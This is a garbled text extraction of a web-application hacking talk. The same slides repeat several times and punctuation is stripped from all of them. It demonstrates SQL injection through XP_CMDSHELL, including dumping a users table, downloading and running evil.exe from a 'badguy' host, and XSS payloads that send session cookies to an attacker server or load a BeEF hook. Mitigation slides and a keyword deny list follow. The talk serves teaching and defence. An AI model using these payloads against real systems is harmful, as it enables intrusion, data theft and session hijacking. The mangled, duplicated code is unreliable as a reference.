Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 31: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 32: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 33: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 34: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

